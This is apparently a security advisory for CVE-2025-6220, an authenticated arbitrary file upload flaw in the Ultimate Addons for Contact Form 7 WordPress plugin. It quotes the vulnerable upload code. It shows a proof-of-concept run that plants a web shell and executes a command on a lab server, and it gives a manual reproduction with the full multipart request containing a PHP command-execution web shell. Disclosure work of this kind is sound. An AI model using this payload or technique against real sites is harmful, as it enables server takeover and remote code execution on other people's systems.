Ultimate Addons for Contact Form 7 <= 3.5.12 - Authenticated (Administrator+) Arbitrary File Upload via save_options

- 2 mins read

CVE-2025-6220

The Ultimate Addons for Contact Form 7 plugin does not sanitize the file types in its options save functionality, allowing administrators or above to upload arbitrary files and potentially gain code execution on the server.

TL;DR Exploits

  • A POC CVE-2025-6220.py is provided to demonstrate an administrator uploading a web shell named shell.php.
python3 CVE-2025-6220.py https://lab1.hacker admin PASSWORD

Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
70e7b99966
Uploading web shell: shell.php
{"status":"success","message":"Options saved successfully!"}
Web Shell Location: https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php

Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 61299sec preferred_lft 61299sec
    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86240sec preferred_lft 14240sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:bd:e1:95:26 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

Details

The uacf7_options_save functionality in /wp-content/plugins/ultimate-addons-for-contact-form-7/admin/tf-options/classes/UACF7_Settings.php processes file uploads without enforcing proper file type validation.

Lines 894-920 of the save_options() function check the HTTP request for $_FILES and only validates the MIME type against a generic application/octet-stream. It will then store the file in a web accessible directory /wp-content/uploads/itinerary-fonts.

$tf_fonts_extantions = array( 'application/octet-stream' );
for ( $i = 0; $i < count( $_FILES['file']['name'] ); $i++ ) {
    if ( in_array( $_FILES['file']['type'][ $i ], $tf_fonts_extantions ) ) {
        $tf_font_filename = $_FILES['file']['name'][ $i ];
        move_uploaded_file( $_FILES['file']['tmp_name'][ $i ], $tf_itinerary_fonts . '/' . $tf_font_filename );
    }
}

Manual Reproduction

  1. Login to the admin panel and navigate to Ultimate Addons -> Settings.
  2. Start up Burp Suite or a similar tool and begin intercepting the traffic.
  3. Click the Save button in the lower right hand corner. test1
  4. Intercept the POST request in Burp, and append your own file data (ensure you use the correct form boundaries).
------WebKitFormBoundarydAJeoqdwR5qxfDb1
Content-Disposition: form-data; name="file[]"; filename="shell.php"
Content-Type: application/octet-stream

<?php
// Silence is golden
if (!empty($_GET['cmd'])) {
    echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
}
------WebKitFormBoundarydAJeoqdwR5qxfDb1--

test2

  1. Forward the request and verify the response indicates success:
{"status":"success","message":"Options saved successfully!"}
  1. Navigate to https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php to execute the proof of concept. test3